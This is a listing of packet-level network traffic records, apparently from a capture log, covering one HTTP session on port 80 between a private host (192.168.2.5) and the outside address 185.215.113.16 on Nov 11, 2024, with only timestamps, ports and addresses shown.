Nov 11, 2024 21:59:29.645625114 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645632982 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.645636082 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645648003 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645651102 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.645659924 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645673990 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645684004 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645685911 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.645695925 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645704985 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.645706892 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645718098 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.645720959 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.645751953 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646123886 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646148920 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646161079 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646188974 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646210909 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646284103 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646295071 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646305084 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646317005 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646327972 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646327972 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646338940 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646351099 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646361113 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646362066 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646373987 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646379948 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646384954 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646399021 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646405935 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646434069 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646435976 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646445036 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646455050 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646466970 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646478891 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646478891 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646491051 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646495104 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646517038 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646527052 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646528006 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646538019 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646543026 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646548986 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646553993 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646553993 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646564007 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646586895 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646591902 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646596909 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646608114 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646614075 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646617889 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646631956 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646658897 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646833897 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646847010 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646868944 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646879911 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646883011 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646891117 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646908998 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646912098 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646919966 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.646929026 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.646960020 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.647015095 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647026062 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647036076 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647047043 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647053957 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.647056103 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647067070 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647078037 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647079945 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.647089005 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647100925 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647109032 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.647111893 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647125959 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.647156000 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.647841930 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647866964 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647880077 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647890091 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647901058 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.647907019 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.647919893 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.647952080 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648025036 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648041964 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648051977 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648062944 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648075104 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648087978 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648087978 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648098946 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648109913 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648114920 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648121119 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648128986 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648133039 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648143053 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648171902 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648171902 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648179054 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648190975 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648200989 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648211956 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648222923 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648226023 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648235083 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648236990 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648246050 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648257017 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648264885 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648291111 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648292065 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648303986 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648313999 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648325920 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648335934 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648346901 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648358107 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648359060 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648370981 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648371935 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648381948 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648392916 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648402929 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648427010 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648430109 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648447990 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648466110 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648464918 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648478031 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648490906 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648500919 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648505926 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648518085 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648519039 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648529053 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648540020 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648540974 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648552895 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648559093 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648564100 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648566961 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648574114 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648582935 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648585081 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648597956 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648610115 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648611069 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648621082 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648633003 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648633957 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648646116 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648646116 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648664951 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648669004 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648675919 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648689985 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648699999 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648700953 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648708105 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648739100 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648749113 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648765087 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648776054 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648787975 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648787975 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648799896 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648827076 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648853064 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648869038 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648880959 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648890972 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648905039 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648916006 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648917913 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648929119 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648938894 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648940086 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648952007 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.648952961 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.648978949 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.649003029 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650002003 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650013924 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650026083 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650037050 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650051117 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650063992 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650083065 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650094032 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650105000 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650105000 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650115967 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650115967 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650134087 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650142908 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650166035 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650170088 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650182962 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650211096 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650219917 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650222063 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650233030 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650243998 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650244951 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650254965 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650264978 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650266886 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650279045 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650290966 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650291920 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650302887 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650310040 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650316000 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650329113 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650353909 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650363922 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650374889 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650392056 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650403976 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650408030 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650414944 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650422096 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650427103 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650428057 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650433064 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650444031 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650455952 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650458097 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650466919 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650480986 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650501013 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650509119 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650518894 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650528908 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650538921 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650547981 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650551081 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650558949 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650561094 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650572062 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650583029 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650584936 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650594950 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.650609016 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650624037 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.650643110 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.653130054 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.653280020 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.659779072 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.659872055 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.659882069 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.659892082 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.659895897 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.659904957 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.659914970 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.659915924 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.659928083 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.659929037 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.659960985 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.659970999 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.659976959 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660001040 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660007954 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660018921 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660024881 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660043955 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660058022 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660093069 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660104990 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660115004 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660135984 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660140038 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660149097 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660151958 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660168886 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660181999 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660186052 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660196066 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660198927 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660207987 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660218954 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660228014 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660229921 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660263062 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660269022 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660763979 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660774946 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660784960 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660820007 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660830975 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660841942 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660845041 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660845041 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660855055 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660871029 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660892010 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660928965 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660939932 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660949945 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660962105 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660974026 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660979986 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660979986 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.660984993 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.660995960 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661005974 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661007881 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661017895 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661047935 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661073923 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661082029 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661092043 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661103010 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661114931 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661123037 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661127090 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661138058 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661149025 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661153078 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661168098 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661186934 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661222935 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661233902 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661243916 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661258936 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661274910 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661283970 CET	58846	80	192.168.2.5	185.215.113.16
